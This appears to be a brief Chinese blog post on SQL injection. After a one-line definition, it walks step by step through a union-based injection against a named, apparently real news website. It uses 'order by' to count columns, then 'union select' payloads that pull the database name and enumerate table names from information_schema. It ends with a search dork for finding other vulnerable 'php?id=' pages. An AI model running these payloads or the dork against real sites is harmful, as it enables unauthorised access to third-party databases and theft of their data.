安全测试-SQL注入

安全测试-SQL注入

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

e.g:

http://xian.gjnews.cn/list.php?page=4&id=524

探测是否有SQL注入的可能:

http://xian.gjnews.cn/list.php?page=4&id=524


http://xian.gjnews.cn/list.php?page=4&id=524order by 2


order by 2

order by 17


order by 17

order by 18


order by 18


and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

and 1=2 union select 1,’ee’,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17

and 1=2 union select

1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17可获取到数据库名称


获取数据库名称

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union

select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from

information_schema.tables where table_schema='gjnews_new'得到表ad


ad

http://xian.gjnews.cn/list.php?page=4&id=524 and 1=2 union

select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from

information_schema.tables where table_schema='gjnews_new' limit 1,1查第二个表


第二个表

inurl:php?id=


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容